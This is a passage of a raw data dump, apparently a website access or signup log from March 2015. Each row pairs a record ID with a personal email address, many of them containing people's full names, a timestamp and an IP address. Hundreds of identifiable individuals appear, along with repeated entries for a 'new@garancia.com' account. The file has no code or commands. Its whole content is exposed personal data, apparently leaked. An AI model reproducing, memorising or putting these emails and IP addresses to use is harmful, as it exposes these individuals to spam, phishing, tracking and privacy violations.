07:47:27;90.55.124.148 +5631;annie.hautesserre@wanadoo.fr;2015-03-16 07:47:33;90.55.124.148 +5632;FRCANONNE@WANADOO.FR;2015-03-16 08:38:42;81.250.209.113 +5633;pharmacie.stmathieu@perso.alliadis.net;2015-03-16 09:12:12;78.116.55.86 +5634;pharmacie.stmathieu@perso.alliadis.net;2015-03-16 09:12:26;78.116.55.86 +5635;pharmacie.stmathieu@perso.alliadis.net;2015-03-16 09:13:23;78.116.55.86 +5636;peigat.alexandra@laposte.net;2015-03-16 09:13:25;78.246.73.179 +5637;pharmacie.stmathieu@perso.alliadis.net;2015-03-16 09:13:48;78.116.55.86 +5638;pharmacie.stmathieu@perso.alliadis.net;2015-03-16 09:13:52;78.116.55.86 +5639;fabien.berlet@neuf.fr;2015-03-16 09:28:53;93.10.132.62 +5640;gamarjo65@hotmail.fr;2015-03-16 09:32:41;84.100.32.138 +5641;gamarjo65@hotmail.fr;2015-03-16 09:32:41;84.100.32.138 +5642;yves.michel32@srf.fr;2015-03-16 09:57:25;92.145.14.82 +5643;marielaurecr@live.fr;2015-03-16 10:24:08;90.85.46.173 +5644;terititia@yahoo.fr;2015-03-16 10:31:19;90.35.1.13 +5645;xuansoley@hotmail.com;2015-03-16 10:39:38;90.1.194.21 +5646;xuansoley@hotmail.com;2015-03-16 10:39:38;90.1.194.21 +5647;lucie_roux@hotmail.com;2015-03-16 10:42:50;109.2.117.111 +5648;edwige.dumoulin@gmail.com;2015-03-16 10:47:09;159.50.252.71 +5649;manonvariol@bbox.fr;2015-03-16 10:51:51;87.88.230.115 +5650;karine.legarcon@bbox.fr;2015-03-16 11:09:17;89.95.235.185 +5651;laupen.melissa@gmail.com;2015-03-16 11:09:31;77.130.39.86 +5652;perkins.ann@orange.fr;2015-03-16 11:25:26;82.245.126.188 +5653;helenenigri@free.fr;2015-03-16 11:47:53;82.242.181.20 +5654;joyce7p@hotmail.com;2015-03-16 11:52:58;82.224.112.184 +5655;liso26@live.fr;2015-03-16 12:39:34;81.252.228.145 +5656;jess63110@hotmail.fr;2015-03-16 12:42:16;50.117.34.148 +5657;feucherv@gmail.com;2015-03-16 13:09:35;82.244.213.36 +5658;Cristi_77@mail.ru;2015-03-16 13:19:29;89.42.226.221 +5659;mcmanou@msn.com;2015-03-16 13:28:14;77.242.202.236 +5660;carolinerenoux@yahoo.fr;2015-03-16 13:33:55;78.155.149.5 +5661;annelauregely@hotmail.fr;2015-03-16 13:42:27;78.228.192.35 +5662;antony.blanc@orange.fr;2015-03-16 13:43:56;86.219.127.35 +5663;alexandra.le.digarcher@gmail.com;2015-03-16 13:44:23;109.219.254.160 +5664;nicolesor1@hotmail.com;2015-03-16 13:49:35;77.133.130.44 +5665;o_marine@hotmail.fr;2015-03-16 14:25:01;90.58.234.24 +5666;new@garancia.com;2015-03-16 14:25:40;176.186.142.58 +5667;new@garancia.com;2015-03-16 14:25:47;176.186.142.58 +5668;new@garancia.com;2015-03-16 14:25:53;176.186.142.58 +5669;pamplem@live.be;2015-03-16 14:27:00;109.133.134.141 +5670;mscafarto@free.fr;2015-03-16 14:29:02;82.67.216.73 +5671;asc-florentins@wanadoo.fr;2015-03-16 14:30:13;90.53.98.169 +5672;laumond.sophie@wanadoo.fr;2015-03-16 14:56:27;90.63.141.167 +5673;ameyer76@hotmail.com;2015-03-16 15:00:44;217.109.95.241 +5674;ptidiaman@hotmail.fr;2015-03-16 15:13:30;88.165.52.74 +5675;stequa@free.fr;2015-03-16 15:25:49;85.14.130.163 +5676;no.florence@hotmail.fr;2015-03-16 15:50:33;86.223.25.96 +5677;isatysg@free.fr;2015-03-16 16:07:05;78.229.211.58 +5678;poppysoul@gmail.com;2015-03-16 16:30:59;193.52.4.7 +5679;ca2s@orange.fr;2015-03-16 16:50:30;193.248.34.72 +5680;bettychanut@voila.fr;2015-03-16 16:51:34;92.157.210.202 +5681;bettychanut@voila.fr;2015-03-16 16:51:40;92.157.210.202 +5682;elisabeth.chris@aliceadsl.fr;2015-03-16 17:05:15;78.234.249.16 +5683;new@garancia.com;2015-03-16 17:27:45;81.240.73.33 +5684;brigitte.doreau@wanadoo.fr;2015-03-16 17:59:48;2.14.128.249 +5685;infinitam3nte@gmail.com;2015-03-16 18:07:56;5.170.81.97 +5686;suzanne.gilson@sfr.fr;2015-03-16 18:09:55;88.138.185.142 +5687;angeliqueparent@orange.fr;2015-03-16 18:10:40;90.49.136.74 +5688;cathx4@orange.fr;2015-03-16 18:32:58;86.196.45.15 +5689;cathx4@orange.fr;2015-03-16 18:33:00;86.196.45.15 +5690;sophie-riou@hotmail.fr;2015-03-16 18:35:06;89.159.179.204 +5691;laurence.saut@gmail.com;2015-03-16 18:37:12;86.207.60.238 +5692;mtrs@orange.fr;2015-03-16 18:41:36;90.50.126.68 +5693;isabellefoulonneau@gmail.com;2015-03-16 18:54:47;86.218.14.209 +5694;isabellefoulonneau@gmail.com;2015-03-16 18:54:48;86.218.14.209 +5695;martine.quetto@gmail.com;2015-03-16 18:58:41;82.235.101.76 +5696;ediththerese@hotmail.fr;2015-03-16 19:14:46;195.101.156.113 +5697;vlepartbrisset@aol.com;2015-03-16 19:37:13;88.139.225.83 +5698;vlepartbrisset@aol.com;2015-03-16 19:37:44;88.139.225.83 +5699;francoise.gastal13@orange.fr;2015-03-16 19:49:42;90.9.67.86 +5700;jean-marc.tredici@hotmail.fr;2015-03-16 19:53:06;78.248.110.193 +5701;christiane.piromalli@gmail.com;2015-03-16 20:16:30;90.53.22.80 +5702;l.bricart@yahoo.fr;2015-03-16 20:53:35;109.190.60.128 +5703;csandron@aol.com;2015-03-16 21:06:53;84.7.122.237 +5704;paul.deleurence@wanadoo.fr;2015-03-16 21:48:54;90.7.122.60 +5705;paul.deleurence@wanadoo.fr;2015-03-16 21:48:57;90.7.122.60 +5706;Ekaterina.L.Beliakova@gmail.com;2015-03-16 21:57:47;67.170.22.57 +5707;marjorielion@hotmail.fr;2015-03-16 23:03:45;88.138.125.13 +5708;Lapetite_aud@hotmail.com;2015-03-16 23:11:40;78.233.230.77 +5709;Lapetite_aud@hotmail.com;2015-03-16 23:11:44;78.233.230.77 +5710;Lapetite_aud@hotmail.com;2015-03-16 23:11:53;78.233.230.77 +5711;annie.teranga@gmail.com;2015-03-16 23:12:17;83.201.154.155 +5712;lapetite_aud@hotmail.com;2015-03-16 23:12:26;78.233.230.77 +5713;annie.teranga@gmail.com;2015-03-16 23:14:27;83.201.154.155 +5714;annie.teranga@gmail.com;2015-03-16 23:17:30;83.201.154.155 +5715;claire47500@hotmail.fr;2015-03-16 23:19:25;147.99.31.218 +5716;annie.teranga@gmail.com;2015-03-16 23:19:34;83.201.154.155 +5717;new@garancia.com;2015-03-17 06:13:01;123.50.73.142 +5718;new@garancia.com;2015-03-17 06:13:09;123.50.73.142 +5719;new@garancia.com;2015-03-17 06:13:14;123.50.73.142 +5720;new@garancia.com;2015-03-17 06:59:14;123.50.73.142 +5721;mic.ti@orange.fr;2015-03-17 07:27:52;90.35.41.14 +5722;soarnaud1511@gmail.com;2015-03-17 09:02:21;217.195.30.102 +5723;pchiesa@taaj.fr;2015-03-17 09:43:05;141.101.52.37 +5724;pchiesa@taaj.fr;2015-03-17 09:43:05;141.101.52.37 +5725;chantal.visconte@floramedia.fr;2015-03-17 09:44:56;212.39.150.2 +5726;koshinage@hotmail.fr;2015-03-17 09:55:58;80.124.149.131 +5727;magali1@skynet.be;2015-03-17 10:18:08;158.169.150.10 +5728;therese.gaillagot@orange.fr;2015-03-17 10:19:47;90.45.185.220 +5729;dessianm@sunrise.ch;2015-03-17 10:29:32;62.167.44.254 +5730;jean.pro@aliceadsl.fr;2015-03-17 10:46:09;93.11.244.229 +5731;charlotte.marmiesse@orange.fr;2015-03-17 10:52:09;109.210.208.102 +5732;davidetnanou@hotmail.fr;2015-03-17 10:57:28;82.238.29.201 +5733;anabel.gonzalez66@yahoo.fr;2015-03-17 11:02:29;81.242.152.207 +5734;anabel.gonzalez66@yahoo.fr;2015-03-17 11:08:17;81.242.152.207 +5735;macha.fernandez@wanadoo.fr;2015-03-17 11:20:08;77.199.145.93 +5736;maureen.gerini@gmx.com;2015-03-17 11:30:26;88.172.2.99 +5737;emmanuelle.jeanpierre@sfr.fr;2015-03-17 11:38:42;84.5.149.39 +5738;anyametika@hotmail.com;2015-03-17 11:46:00;105.101.77.123 +5739;pharmacie.persinet@orange.fr;2015-03-17 12:06:44;82.127.164.24 +5740;pharmacie.persinet@orange.fr;2015-03-17 12:06:57;82.127.164.24 +5741;pharmacie.persinet@orange.fr;2015-03-17 12:08:33;82.127.164.24 +5742;deby_r@hotmail.com;2015-03-17 12:24:50;83.145.114.250 +5743;deby_r@hotmail.com;2015-03-17 12:31:32;83.145.114.250 +5744;maryline.vialet@orange.fr;2015-03-17 12:48:31;83.194.46.162 +5745;domikudlak@gmail.com;2015-03-17 12:49:01;83.197.160.8 +5746;joelsophierossignol@orange.fr;2015-03-17 13:30:40;176.180.123.112 +5747;eveline038@hotmail.com;2015-03-17 13:57:30;86.68.149.172 +5748;lysfauvel@gmail.com;2015-03-17 14:00:55;90.83.207.33 +5749;Helga.Schmitz@jomasystems.fr;2015-03-17 14:19:39;213.41.241.105 +5750;fargierlucie@yahoo.fr;2015-03-17 14:28:53;217.26.141.3 +5751;lea.boismartel@hotmail.fr;2015-03-17 14:29:08;80.12.55.36 +5752;lea.boismartel@hotmail.fr;2015-03-17 14:29:09;80.12.55.36 +5753;c.boisbieux@live.it;2015-03-17 15:12:31;109.112.45.30 +5754;cyl150376@gmail.com;2015-03-17 15:17:58;217.74.106.130 +5755;slv250316@htomail.fr;2015-03-17 15:55:37;158.169.40.9 +5756;katia.justine@wanadoo.fr;2015-03-17 16:04:57;92.152.86.245 +5757;nicolemulhem@orange.fr;2015-03-17 16:37:31;90.23.99.33 +5758;nicolemulhem@orange.fr;2015-03-17 16:50:51;90.23.99.33 +5759;cgrevet@gmail.com;2015-03-17 17:10:29;109.17.193.73 +5760;beaudoincorinne@orange.fr;2015-03-17 17:19:07;86.208.111.182 +5761;vero.hertzog@free.fr;2015-03-17 17:24:08;82.238.150.26 +5762;vero.hertzog@free.fr;2015-03-17 17:24:11;82.238.150.26 +5763;vero.hertzog@free.fr;2015-03-17 17:24:13;82.238.150.26 +5764;vero.hertzog@free.fr;2015-03-17 17:24:26;82.238.150.26 +5765;vero.hertzog@free.fr;2015-03-17 17:24:29;82.238.150.26 +5766;vero.hertzog@free.fr;2015-03-17 17:24:31;82.238.150.26 +5767;marizab@hotmail.fr;2015-03-17 17:44:55;92.143.222.72 +5768;MISSTROPIC2@MSN.COM;2015-03-17 17:54:43;188.115.64.156 +5769;new@garancia.com;2015-03-17 18:05:25;80.12.35.71 +5770;new@garancia.com;2015-03-17 18:05:29;80.12.35.71 +5771;new@garancia.com;2015-03-17 18:05:31;80.12.35.71 +5772;genevieve.lemarrec@gmail.com;2015-03-17 18:19:17;92.146.28.66 +5773;lili.pilon@yahoo.fr;2015-03-17 18:41:20;109.215.40.204 +5774;ggmpainchault@wanadoo.fr;2015-03-17 18:42:00;86.204.75.30 +5775;new@garancia.com;2015-03-17 19:32:04;31.32.225.44 +5776;new@garancia.com;2015-03-17 19:32:08;31.32.225.44 +5777;claudineletourneau@yahoo.fr;2015-03-17 19:40:06;88.140.157.23 +5778;sandra-tribale62280@hotmail.fr;2015-03-17 19:44:01;31.32.225.44 +5779;sandra-tribale62280@hotmail.fr;2015-03-17 19:44:01;31.32.225.44 +5780;zoe7502@hotmail.fr;2015-03-17 20:03:55;78.209.68.220 +5781;fredcesar@orange.fr;2015-03-17 20:04:56;78.179.51.119 +5782;dominique.anselin@hotmail.fr;2015-03-17 20:05:38;88.202.41.15 +5783;camille.landrieux@gmail.com;2015-03-17 20:08:25;93.158.26.248 +5784;ap96321@gmail.com;2015-03-17 20:15:11;82.231.19.96 +5785;lululegot29@gmail.com;2015-03-17 20:16:22;92.135.16.87 +5786;lululegot29@gmail.com;2015-03-17 20:16:46;92.135.16.87 +5787;e.benejeam@hotmail.fr;2015-03-17 20:30:35;82.64.143.56 +5788;illanazylberberg@hotmail.fr;2015-03-17 20:52:00;81.220.247.193 +5789;d_denissophie@orange.fr;2015-03-17 21:27:15;80.12.35.213 +5790;new@garancia.com;2015-03-17 22:25:33;83.114.193.18 +5791;new@garancia.com;2015-03-17 22:25:37;83.114.193.18 +5792;new@garancia.com;2015-03-17 22:25:48;83.114.193.18 +5793;new@garancia.com;2015-03-17 22:25:51;83.114.193.18 +5794;new@garancia.com;2015-03-17 22:26:08;83.114.193.18 +5795;new@garancia.com;2015-03-17 22:26:13;83.114.193.18 +5796;new@garancia.com;2015-03-17 22:26:34;83.114.193.18 +5797;lulucovi@yahoo.es;2015-03-17 22:26:36;79.158.88.239 +5798;new@garancia.com;2015-03-17 22:26:37;83.114.193.18 +5799;new@garancia.com;2015-03-17 22:26:47;83.114.193.18 +5800;new@garancia.com;2015-03-17 22:26:49;83.114.193.18 +5801;new@garancia.com;2015-03-17 22:27:09;83.114.193.18 +5802;new@garancia.com;2015-03-17 22:27:13;83.114.193.18 +5803;new@garancia.com;2015-03-17 22:27:15;83.114.193.18 +5804;new@garancia.com;2015-03-17 22:27:35;83.114.193.18 +5805;lulucovi@yahoo.es;2015-03-17 22:27:46;79.158.88.239 +5806;lulucovi@yahoo.es;2015-03-17 22:27:47;79.158.88.239 +5807;prioljoelle@gmail.com;2015-03-17 22:46:03;89.89.121.106 +5808;pamela.ruffine@gmail.com;2015-03-17 23:22:13;176.189.62.57 +5809;pamela.ruffine@gmail.com;2015-03-17 23:22:22;176.189.62.57 +5810;pamela.ruffine@gmail.com;2015-03-17 23:22:26;176.189.62.57 +5811;pamela.ruffine@gmail.com;2015-03-17 23:22:39;176.189.62.57 +5812;new@garancia.com;2015-03-17 23:22:58;176.189.62.57 +5813;new@garancia.com;2015-03-17 23:23:03;176.189.62.57 +5814;e.marcuccilli@hotmail.fr;2015-03-17 23:51:26;88.160.192.51 +5815;e.marcuccilli@hotmail.fr;2015-03-17 23:51:27;88.160.192.51 +5816;new@garancia.com;2015-03-18 00:56:26;80.12.35.192 +5817;new@garancia.com;2015-03-18 00:56:29;80.12.35.192 +5818;new@garancia.com;2015-03-18 00:56:34;80.12.35.192 +5819;martine.goublaire@gmail.com;2015-03-18 03:44:03;89.93.114.227 +5820;peter.valerie5@free.fr;2015-03-18 07:17:04;78.238.182.136 +5821;vautrin_anne@orange.fr;2015-03-18 08:00:12;90.37.167.143 +5822;elebrat@cqmasso.com;2015-03-18 08:23:13;84.5.197.62 +5823;pascale.alvino@laposte.net;2015-03-18 08:39:32;195.83.165.87 +5824;abthoyer@orange.fr;2015-03-18 08:48:51;92.140.205.49 +5825;nathalie.esteve974@orange.fr;2015-03-18 08:49:09;90.10.144.144 +5826;jocelyne.halajko@wanadoo.fr;2015-03-18 09:07:03;86.200.187.13 +5827;amiennee@aol.com;2015-03-18 09:11:51;88.141.236.228 +5828;Birkenstock.anne@numericable.fr;2015-03-18 09:12:58;89.2.207.66 +5829;mmorilleau@live.fr;2015-03-18 09:14:05;92.90.21.183 +5830;iveteramos@sapo.pt;2015-03-18 09:36:53;85.240.125.116 +5831;estevez.mathilde@gmail.com;2015-03-18 09:44:51;147.94.134.30 +5832;estevez.mathilde@gmail.com;2015-03-18 09:44:53;147.94.134.30 +5833;estevez.mathilde@gmail.com;2015-03-18 09:45:04;147.94.134.30 +5834;estevez.mathilde@gmail.com;2015-03-18 09:45:16;147.94.134.30 +5835;sihaime@hotmail.com;2015-03-18 10:07:32;78.250.13.151 +5836;elizjeannin@free.fr;2015-03-18 10:25:46;88.177.0.60 +5837;juliettecapone1@hotmail.fr;2015-03-18 10:31:39;81.66.165.224 +5838;anne.erard66@gmail.com;2015-03-18 10:32:22;46.218.46.50 +5839;anne.erard66@gmail.com;2015-03-18 10:33:36;46.218.46.50 +5840;guitoubrethome@hotmail.fr;2015-03-18 10:33:38;81.248.125.63 +5841;celinefaurand@gmail.com;2015-03-18 10:39:17;195.5.220.174 +5842;veroniquedefaix@yahoo.fr;2015-03-18 10:42:55;92.152.231.107 +5843;levy.celia18@gmail.com;2015-03-18 10:47:57;109.190.118.126 +5844;levy.celia18@gmail.com;2015-03-18 10:47:57;109.190.118.126 +5845;joelle.poirier-delmarre@wanadoo.fr;2015-03-18 10:47:58;86.201.73.24 +5846;jean-luc.mathieu3@wanadoo.fr;2015-03-18 10:52:07;83.192.1.108 +5847;spaquelier@yahoo.fr;2015-03-18 11:04:47;105.157.229.193 +5848;bad.sandrine@hotmail.fr;2015-03-18 11:27:31;88.139.231.141 +5849;lydie.giroux@laposte.net;2015-03-18 11:31:36;80.193.119.227 +5850;lydie.giroux@laposte.net;2015-03-18 11:31:36;80.193.119.227 +5851;s.ramdin@bioprojet.com;2015-03-18 11:34:55;78.193.219.79 +5852;bubull94@yahoo.fr;2015-03-18 11:41:47;88.166.188.56 +5853;laulhereodile@hotmail.fr;2015-03-18 11:58:37;82.226.49.112 +5854;izalevray@yahoo.fr;2015-03-18 12:21:32;109.7.16.10 +5855;iveta.laurent@laposte.net;2015-03-18 12:38:01;93.93.42.197 +5856;iveta.laurent@laposte.net;2015-03-18 12:38:03;93.93.42.197 +5857;nathalie@regnier-schmit.net;2015-03-18 13:38:32;83.202.237.138 +5858;nathalie@regnier-schmit.net;2015-03-18 13:38:41;83.202.237.138 +5859;new@garancia.com;2015-03-18 13:39:43;83.202.237.138 +5860;new@garancia.com;2015-03-18 13:39:46;83.202.237.138 +5861;catherine.thevenot@bpifrance.fr;2015-03-18 13:47:24;212.234.159.65 +5862;valerie.lamouroux@bbox.fr;2015-03-18 13:54:34;147.210.225.106 +5863;valerie.lamouroux@bbox.fr;2015-03-18 13:54:45;147.210.225.106 +5864;valerie.lamouroux@bbox.fr;2015-03-18 13:54:48;147.210.225.106 +5865;valerie.lamouroux@bbox.fr;2015-03-18 13:54:52;147.210.225.106 +5866;valerie.lamouroux@u-bordeaux.fr;2015-03-18 13:55:07;147.210.225.106 +5867;valerie.lamouroux@u-bordeaux.fr;2015-03-18 13:55:17;147.210.225.106 +5868;valerie.lamouroux@u-bordeaux.fr;2015-03-18 13:55:29;147.210.225.106 +5869;valerie.lamouroux@u-bordeaux.fr;2015-03-18 13:55:32;147.210.225.106 +5870;valerie.lamouroux@u-bordeaux.fr;2015-03-18 13:55:54;147.210.225.106 +5871;lenaic5635@gmail.com;2015-03-18 14:02:29;89.156.171.180 +5872;spaquelier@yahoo.fr;2015-03-18 14:21:10;41.251.164.213 +5873;spaquelier@yahoo.fr;2015-03-18 14:21:28;41.251.164.213 +5874;spaquelier@yahoo.fr;2015-03-18 14:21:51;41.251.164.213 +5875;ch_le_bris2000@yahoo.fr;2015-03-18 14:25:06;185.9.152.22 +5876;josette_ruerat@bluewin.ch;2015-03-18 14:27:47;85.5.116.154 +5877;lettyfrank@free.fr;2015-03-18 14:34:20;88.176.169.89 +5878;marie-ange.panzarella@orange.fr;2015-03-18 14:59:02;92.129.84.132 +5879;michele.ghachem@orange.fr;2015-03-18 15:07:36;92.128.28.234 +5880;michele.ghachem@orange.fr;2015-03-18 15:07:38;92.128.28.234 +5881;michele.ghachem@orange.fr;2015-03-18 15:07:40;92.128.28.234 +5882;matouperso@gmail.com;2015-03-18 15:07:57;194.68.56.33 +5883;lochabrier@hotmail.Fr;2015-03-18 15:12:49;90.4.123.185 +5884;brigitte.bellicard@orange.fr;2015-03-18 16:09:37;84.246.217.12 +5885;francoise.reinhard@gmail.com;2015-03-18 16:10:14;82.249.64.204 +5886;jean-pierre.fain@wanadoo.fr;2015-03-18 16:40:19;92.144.83.214 +5887;marcelle.polacci@gmail.com;2015-03-18 16:48:08;92.153.69.233 +5888;marcelle.polacci@gmail.com;2015-03-18 16:49:00;92.153.69.233 +5889;marcelle.polacci@gmail.com;2015-03-18 16:49:21;92.153.69.233 +5890;marcelle.polacci@gmail.com;2015-03-18 16:50:21;92.153.69.233 +5891;marcelle.polacci@gmail.com;2015-03-18 16:54:59;92.153.69.233 +5892;marcelle.polacci@gmail.com;2015-03-18 16:59:24;92.153.69.233 +5893;marcelle.polacci@gmail.com;2015-03-18 16:59:57;92.153.69.233 +5894;marcelle.polacci@gmail.com;2015-03-18 17:00:07;92.153.69.233 +5895;maddymichels@orange.fr;2015-03-18 17:00:30;80.12.89.125 +5896;marcelle.polacci@gmail.com;2015-03-18 17:06:19;92.153.69.233 +5897;marcelle.polacci@gmail.com;2015-03-18 17:06:45;92.153.69.233 +5898;marcelle.polacci@gmail.com;2015-03-18 17:07:50;92.153.69.233 +5899;marcelle.polacci@gmail.com;2015-03-18 17:08:28;92.153.69.233 +5900;marcelle.polacci@gmail.com;2015-03-18 17:15:09;92.153.69.233 +5901;marcelle.polacci@gmail.com;2015-03-18 17:16:14;92.153.69.233 +5902;francoise.reinhard@gmail.com;2015-03-18 17:22:47;82.248.194.67 +5903;krovincent@gmail.com;2015-03-18 17:51:39;92.152.46.188 +5904;valerie.margaron@outlook.fr;2015-03-18 17:54:37;89.81.53.213 +5905;anne14_01@hotmail.com;2015-03-18 17:58:06;80.9.198.82 +5906;marcelle.polacci@gmail.com;2015-03-18 18:02:44;92.153.69.233 +5907;marcelle.polacci@gmail.com;2015-03-18 18:03:56;92.153.69.233 +5908;marcelle.polacci@gmail.com;2015-03-18 18:04:25;92.153.69.233 +5909;marcelle.polacci@gmail.com;2015-03-18 18:05:23;92.153.69.233 +5910;brigitte.perry@orange.fr;2015-03-18 18:27:35;109.211.225.78 +5911;dominique@chalets-lacroix.com;2015-03-18 18:48:43;79.94.254.99 +5912;doum.lax@sfr.fr;2015-03-18 18:49:11;79.94.254.99 +5913;doum.lax@sfr.fr;2015-03-18 18:49:11;79.94.254.99 +5914;mevcathy@hotmail.fr;2015-03-18 18:52:41;37.1.251.246 +5915;mevcathy@hotmail.fr;2015-03-18 18:52:41;37.1.251.246 +5916;sophie.m2912@gmail.com;2015-03-18 19:31:27;77.144.144.77 +5917;chmi60@hotmail.fr;2015-03-18 19:34:06;88.167.237.133 +5918;xavier.ferraz@orange.fr;2015-03-18 20:12:31;86.192.231.189 +5919;adeline2306@hotmail.fr;2015-03-18 20:28:41;5.50.19.92 +5920;valerieceyrac@gmail.com;2015-03-18 20:36:58;92.151.85.55 +5921;valerieceyrac@gmail.com;2015-03-18 20:37:00;92.151.85.55 +5922;nadege2508@live.fr;2015-03-18 20:56:19;62.34.111.18 +5923;bboris26@gmail.com;2015-03-18 21:01:18;77.146.35.102 +5924;edwige.laury@laposte.net;2015-03-18 21:08:29;90.25.204.186 +5925;loysel@hotmail.com;2015-03-18 21:10:20;87.231.84.250 +5926;dominique.tabone@live.fr;2015-03-18 21:21:43;92.92.144.69 +5927;matila4@aliceadsl.fr;2015-03-18 21:25:55;83.154.68.139 +5928;mellek.dumas@gmail.com;2015-03-18 22:00:01;109.223.144.94 +5929;lulucovi@yahoo.es;2015-03-18 22:02:42;79.158.88.239 +5930;lulucovi@yahoo.es;2015-03-18 22:03:13;79.158.88.239 +5931;lulucovi@yahoo.es;2015-03-18 22:03:33;79.158.88.239 +5932;lulucovi@yahoo.es;2015-03-18 22:05:01;79.158.88.239 +5933;lulucovi@yahoo.es;2015-03-18 22:06:10;79.158.88.239 +5934;dba91@orange.fr;2015-03-18 22:12:41;86.212.101.84 +5935;mor.gan@libero.it;2015-03-18 22:12:55;80.116.134.99 +5936;ysalson@yahoo.fr;2015-03-18 22:33:08;78.225.240.16 +5937;lolow1988@yahoo.fr;2015-03-18 22:40:56;78.219.249.55 +5938;morgane_780@yahoo.fr;2015-03-18 22:48:12;90.62.7.62 +5939;brigitte59@hotmail.com;2015-03-18 23:18:54;176.183.203.106 +5940;derfets@free.fr;2015-03-18 23:19:11;78.223.41.91 +5941;patricia.glace@sfr.fr;2015-03-18 23:31:15;79.95.206.19 +5942;new@garancia.com;2015-03-19 01:32:29;109.88.91.137 +5943;new@garancia.com;2015-03-19 01:32:32;109.88.91.137 +5944;mimilady14@hotmail.com;2015-03-19 05:48:51;109.22.207.136 +5945;pascaledub30@outlook.fr;2015-03-19 07:53:45;78.222.224.171 +5946;pascaledub30@outlook.fr;2015-03-19 07:56:58;78.222.224.171 +5947;pascaledub30@outlook.fr;2015-03-19 07:57:39;78.222.224.171 +5948;pascaledub30@outlook.fr;2015-03-19 07:58:28;78.222.224.171 +5949;pascaledub30@outlook.fr;2015-03-19 08:01:04;78.222.224.171 +5950;pascaledub30@outlook.fr;2015-03-19 08:02:13;78.222.224.171 +5951;pascaledub30@outlook.fr;2015-03-19 08:02:24;78.222.224.171 +5952;pascaledub30@outlook.fr;2015-03-19 08:02:52;78.222.224.171 +5953;pascaledub30@outlook.fr;2015-03-19 08:03:09;78.222.224.171 +5954;pascaledub30@outlook.fr;2015-03-19 08:03:25;78.222.224.171 +5955;valet.bruno@perso.alliadis.net;2015-03-19 09:10:53;194.5.134.179 +5956;farezaudrey31@gmail.com;2015-03-19 09:19:14;31.38.204.140 +5957;farezaudrey31@gmail.com;2015-03-19 09:19:18;31.38.204.140 +5958;farezaudrey31@gmail.com;2015-03-19 09:19:32;31.38.204.140 +5959;farezaudrey31@gmail.com;2015-03-19 09:19:33;31.38.204.140 +5960;farezaudrey31@gmail.com;2015-03-19 09:19:35;31.38.204.140 +5961;valet.bruno@perso.alliadis.net;2015-03-19 09:30:09;194.5.134.179 +5962;yann.marescaux@orange.fr;2015-03-19 09:49:22;86.222.83.168 +5963;marie.monce@gmail.com;2015-03-19 10:38:18;46.218.137.226 +5964;c.chevillard@hotmail.fr;2015-03-19 10:48:55;86.202.4.179 +5965;c.chevillard@hotmail.fr;2015-03-19 10:48:56;86.202.4.179 +5966;aline.meuwly@bluewin.ch;2015-03-19 10:50:33;213.3.13.48 +5967;capoela34@yahoo.fr;2015-03-19 10:53:44;78.245.215.228 +5968;e.masse6@laposte.net;2015-03-19 10:55:20;93.17.26.6 +5969;e.masse6@laposte.net;2015-03-19 10:55:35;93.17.26.6 +5970;e.masse6@laposte.net;2015-03-19 10:55:53;93.17.26.6 +5971;e.masse6@laposte.net;2015-03-19 10:57:57;93.17.26.6 +5972;e.masse6@laposte.net;2015-03-19 10:58:21;93.17.26.6 +5973;d_denissophie@orange.fr;2015-03-19 11:03:50;80.12.35.160 +5974;paprichka@hotmail.fr;2015-03-19 11:21:09;82.242.251.112 +5975;titinedada@live.fr;2015-03-19 11:23:37;92.156.169.206 +5976;monique.dupeyron@barbiergroup.com;2015-03-19 11:27:49;194.51.10.75 +5977;thuypham2572@yahoo.fr;2015-03-19 11:28:18;77.202.174.231 +5978;bedague-kervizic@wanadoo.fr;2015-03-19 11:28:52;77.202.174.231 +5979;bedague-kervizic@wanadoo.fr;2015-03-19 11:30:48;77.202.174.231 +5980;michele.visioli@wanadoo.fr;2015-03-19 11:50:46;90.1.174.60 +5981;jeaneloifontaine@orange.fr;2015-03-19 11:53:56;90.30.221.139 +5982;jeaneloifontaine@orange.fr;2015-03-19 11:53:59;90.30.221.139 +5983;fabenoman@live.fr;2015-03-19 12:04:56;83.158.82.146 +5984;eudaemonia89@gmail.com;2015-03-19 12:25:41;79.87.35.6 +5985;antyk5@yahoo.com;2015-03-19 12:34:32;78.244.205.125 +5986;antyk5@yahoo.com;2015-03-19 12:34:33;78.244.205.125 +5987;new@garancia.com;2015-03-19 12:34:57;83.152.91.68 +5988;new@garancia.com;2015-03-19 12:35:09;83.152.91.68 +5989;new@garancia.com;2015-03-19 12:35:11;83.152.91.68 +5990;new@garancia.com;2015-03-19 12:35:29;83.152.91.68 +5991;new@garancia.com;2015-03-19 12:35:33;83.152.91.68 +5992;new@garancia.com;2015-03-19 12:35:41;83.152.91.68 +5993;new@garancia.com;2015-03-19 12:37:55;83.152.91.68 +5994;new@garancia.com;2015-03-19 12:38:41;83.152.91.68 +5995;victoria.1@bluewin.ch;2015-03-19 12:45:40;212.147.17.195 +5996;vallier.michele@hotmail.fr;2015-03-19 13:11:46;77.198.241.150 +5997;vallier.michele@hotmail.fr;2015-03-19 13:15:11;77.198.241.150 +5998;dupin.sandra@free.fr;2015-03-19 13:37:52;78.211.52.36 +5999;mariellejane@hotmail.fr;2015-03-19 13:55:36;31.35.160.145 +6000;anais.bretel@orange.fr;2015-03-19 14:02:21;88.173.174.126 +6001;anais.bretel@orange.fr;2015-03-19 14:02:40;88.173.174.126 +6002;anais.bretel@orange.fr;2015-03-19 14:03:33;88.173.174.126 +6003;canive.gerard@orange.fr;2015-03-19 14:04:19;90.4.196.114 +6004;new@garancia.com;2015-03-19 14:06:34;83.152.91.68 +6005;new@garancia.com;2015-03-19 14:06:58;83.152.91.68 +6006;myouchoute@gmail.com;2015-03-19 14:20:29;89.93.200.135 +6007;myouchoute@gmail.com;2015-03-19 14:20:59;89.93.200.135 +6008;presle.sylvie@orange.fr;2015-03-19 14:34:00;2.3.203.112 +6009;prieur.nicole@free.fr;2015-03-19 14:34:14;78.210.10.50 +6010;new@garancia.com;2015-03-19 15:37:25;83.152.91.68 +6011;katoulaventuriere@hotmail.fr;2015-03-19 15:50:37;80.11.156.27 +6012;katoulaventuriere@hotmail.fr;2015-03-19 15:51:15;80.11.156.27 +6013;katoulaventuriere@hotmail.fr;2015-03-19 15:51:38;80.11.156.27 +6014;katoulaventuriere@hotmail.fr;2015-03-19 15:51:51;80.11.156.27 +6015;katoulaventuriere@hotmail.fr;2015-03-19 15:51:55;80.11.156.27 +6016;new@garancia.com;2015-03-19 16:15:12;94.14.152.208 +6017;new@garancia.com;2015-03-19 16:15:16;94.14.152.208 +6018;new@garancia.com;2015-03-19 16:15:19;94.14.152.208 